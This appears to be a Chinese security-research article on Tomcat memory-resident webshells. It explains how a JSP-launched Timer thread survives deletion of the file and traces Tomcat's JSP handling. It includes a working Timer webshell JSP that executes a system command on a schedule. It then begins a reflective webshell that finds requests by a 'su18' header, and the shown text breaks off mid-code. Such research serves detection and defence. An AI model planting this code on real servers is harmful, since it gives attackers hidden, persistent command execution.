JavaWeb 内存马二周目通关攻略
0x00 前言
在之前的文章《JavaWeb 内存马一周目通关攻略》中,总结了一些目前行业主流的内存马的实现方式,目前对于内存马的研究和讨论,在国内确实比较火,经常能看见各种各样的文章,在国外讨论的较少,因为歪果仁的日站习惯并不是webshell,而通常是reverse shell。
所以可以说算是某种程度上的行业领先了,在内存马技术快速迭代的同时,防御技术也要跟上,目前来讲,使用 java agent 技术结合多维度的防御、检测、扫描内存马的方式依旧是最好的方式,我这里因为是参与了商业化的 RASP 安全产品,也是可以做到主流内存马的检出和防御,关于《一周目》中的内存马类型,实际上还有很多攻与防的思路可以扩展,但由于商业性原因,我这里将不再进行讨论。
随着文章的发布,我还开源了一款非常基础的内存马查杀工具 SuAgent,用来对不同类型的内存马进行扫描和防御。
其实这里留下了伏笔,之前的文章我取名“一周目”,那就意味着将会有二周目、三周目,乃至更多。
原这里由于看到了藏青师傅在先知上发表的JSP内存马研究,实际上跟我本来想在二周目中写的一些技术思想稍有重叠,所以这里就开始二周目的编写。
在本篇文章可能会引用到《一周目》中的一些技术和思想,如果还没看过之前的文章,建议先看前文,把前面提到的内存马原理了解一下,再看本文。
本文共提到了几种新的内存马实现方式:Timer 型内存马及其延伸——线程型内存马,以及JSP内存马。
0x01 切入点:新思路
二周目的思路,起源于园长的一篇文章Java Timer 后门,这是一篇在2014年就已经发布的文章,文章包含了一个 jsp 后门,这个 jsp 创建了一个 Timer 计时器对象,然后使用 schedule
方法创建了一个 TimerTask 对象,也就是说创建了一个定时任务,每隔 1000 ms,就执行一次 java.util.TimerTask#run
方法里面的逻辑。
也就是说,在访问了一次这个 jsp 后,会启动一个计时器进行无限循环,一次执行直到服务器重启。即使将这个 jsp 删除,依旧是会继续进行这个任务。
什么?删除 JSP 文件,任务还能执行?这不就没有文件落地了吗?这不就是内存马吗???内存马的思想在 2014 年就出现了???
暴风疑问后,有几个思考随之而来:
1. 既然是 jsp,我们知道 jsp 的本质就是 servlet,那这还是之前提到的 Servlet 型内存马吗?
2. 为什么 jsp 删掉了,任务还会继续运行?
3. 这种定时任务,能否做到像之前的 Servlet 型内存马一样,在每次请求时拿到入参,执行结果并返回?
带着这几个问题,开始研究和学习。
0x02 Timer 型内存马
首先根据使用的关键类,我将其命名为 Timer 型内存马,首先简单改了一下园长的代码,用于测试:创建 Timer 及 TimerTask,每隔 10 秒钟弹一次计算器。
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
out.println("timer jsp shell");
java.util.Timer executeSchedule = new java.util.Timer();
executeSchedule.schedule(new java.util.TimerTask() {
public void run() {
try {
Runtime.getRuntime().exec("open -a Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
}, 0, 10000);
%>
按照之前说的流程,启动并访问,页面显示内容,并开始弹出计算器。
此时我们删掉这个 jsp,再次访问,页面已经消失,程序会返回 404 状态码。
但是计算器却依旧在不停的弹,在 Idea Debugger 的 Threads 中也可以看到我们创建的 Timer 线程。
这就验证了之前描述的流程,接下来开始探究之前的思考。
jsp 与 servlet
这里依旧以 Tomcat 为例,按照 Servlet 的特点,一个 Servlet 在注册时会被封装成 org.apache.catalina.core.StandardWrapper
,在其 mappings 中添加类名,并将访问路径及类名的映射关系存储在 org.apache.catalina.core.StandardContext#servletMappings
中。
而 jsp 的本质,就是 servlet,只不过由 Tomcat 实现了动态转换、编译、加载、执行的过程,这部分在Javasec 的 ClassLoader 一章有简单的描述和实现,有兴趣的读者可以先看此文。
而通过查看 StandardContext 的 servletMappings,我们发现,加载后的 jsp 文件并不在这里,这里只是将 *.jsp/*.jspx
都映射到了一个关键字 "jsp" 上。
这部分实际上是由 Tomcat 配置文件中的 web.xml
所配置的,配置了处理 jsp 的类为 org.apache.jasper.servlet.JspServlet
类。
并为其映射了访问路径为 *.jsp/*.jspx
的文件。
接下来看下 JspServlet 的处理逻辑,总体来说分为三步:
1. JSP 引擎将 .jsp
文件翻译成一个 servlet 源代码;
2. 将 servlet 源代码编译成 .class
文件;
3. 加载并执行这个编译后的文件。
而这一整套流程,实际上就是 Tomcat 为 JSP 的处理单独建立了一套与普通 Servlet 类似的 Servlet/Context/Wrapper 的体系:
- org.apache.jasper.compiler.JspRuntimeContext
:JSP 引擎上下文
- org.apache.jasper.servlet.JspServletWrapper
:编译后 jsp 的封装类
而 JspRuntimeContext 中则会存放访问路径和 wrapper 的映射。
这个流程我们是很熟悉的,这里通过跟源代码简单分析一下 Tomcat 的处理流程:
JspServlet 类的 service 方法用来处理 JSP 请求:
核心方法为 serviceJspFile
方法,在 context 中获取 wrapper,如果没有,先判断文件还在不在,如果在就创建,否则就调用 handleMissingResource
方法处理请求,然后调用 wrapper 的 service
方法处理,同时也 catch 了 FileNotFoundException 异常。
创建 JspServletWrapper 时,同时创建了 JspCompilationContext 类用于将 jsp 编译成 class 文件,用于后续加载。
JspServletWrapper 的 service
方法在判断了一些标识位后,判断是否是首次访问,是否需要对 jsp 进行编译,如需要则会调用 JspCompilationContext#compile
方法来对 jsp 进行编译,实际上是使用 org.apache.jasper.compiler.JDTCompiler
来进行相关的处理,编译后的 .java
和 .class
文件会存放在 Tomcat 的 work 目录下。
调用 getServlet()
获取访问的 jsp 生成的 servlet 类实例。后续会调用 servlet 实例的 service
方法。
getServlet()
方法又判断了页面是否有修改,如果修改则需要进行 reload,会先调用 destroy 方法销毁之前的类实例,再进行重新加载。加载是使用了 InstanceManager 调用 org.apache.jasper.servlet.JasperLoader
来进行 loadClass。
destory
方法会调用 servlet 实例的 destory
方法,并使用 InstanceManager 的 destroyInstance
的方法销毁这个实例。
到此位置,对于访问一个 JSP 时 Tomcat 的处理流程的简单分析就结束了,那如果在 Tomcat 运行时,将 JSP 删除再访问,会怎么样呢?
事实上,Tomcat 不会去监听文件的变化,而是在下一次访问时再进行处理:
1. 在 JspCompilationContext#compile
方法中,会调用 this.jspCompiler.isOutDated()
判断文件状态;
2. 方法根据 JspCompilationContext#getLastModified
方法判断 JSP 本地 resource 是否存在,如果不存在,则通过将 JspCompilationContext#removed
标识为 true 来代表了文件已经被移除;
3. 调用 JspRuntimeContext#removeWrapper
从 JspRuntimeContext#jsps
中移除访问路径与 wrapper 的映射;
4. 随后会抛出 FileNotFoundException 异常,终止后续的处理逻辑。
5. 被移除的 wrapper 因为失去了引用,将会被等待 GC。
以上就是一个 jsp 的生命周期,现在目光回到 Timer 内存马上,按理说,JSP 被删除后,对应的访问映射不存在了,实际执行的 servlet 实例和 wrapper 对象失去了引用将会等待销毁,被销毁后,里面的代码自然就失效了。
但是由于在恶意代码创建了 Timer 定时任务,而 Timer 会创建一个定时任务线程 TimerThread,Timer 的特性是,如果不是所有未完成的任务都已完成执行,或不调用 Timer 对象的cancel
方法,这个线程是不会停止,也不会被 GC 的,因此,这个任务会一直执行下去,直到应用关闭。
实现
在经历了以上调试后,再来回答开始思考的三个问题。
既然是 jsp,我们知道 jsp 的本质就是 servlet,那这还是之前提到的 Servlet 型内存马吗?
答:内存驻留的原因不是 servlet ,跟 servlet 关系不大,因此不是 servlet 型内存马。
为什么 jsp 删掉了,任务还会继续运行?
答:由 Timer 创建的线程在任务没有自然执行完毕,或没有调用结束时,是不会被 GC 的。
这种定时任务,能否做到像之前的 Servlet 型内存马一样,在每次请求时拿到入参,执行结果并返回?
答:男人,不能说不行。
这样就出现了新问题:怎么能利用 Timer,实现成 Servlet 型内存马一样的交互呢?
这里既然是线程,就立刻想到了利用线程中获取 request 回显的思路:创建定时任务,每隔一秒在线程中循环遍历 request,找到带有特定 header 的 request 对象,获取 header 参数并执行命令。
废话不多说,直接上 jsp。
<%@ page import="java.util.List" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.HashSet" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static List<Object> getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
target = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception var11) {
continue;
}
List processors = (List) getField(target, "processors");
for (Object processor : processors) {
target = getField(processor, "req");
threadName = (String) target.getClass().getMethod("getHeader", String.class).invoke(target, new String("su18"));
if (threadName != null && !threadName.isEmpty()) {
Object note = target.getClass().getDeclaredMethod("getNote", int.class).invoke(target, 1);
Object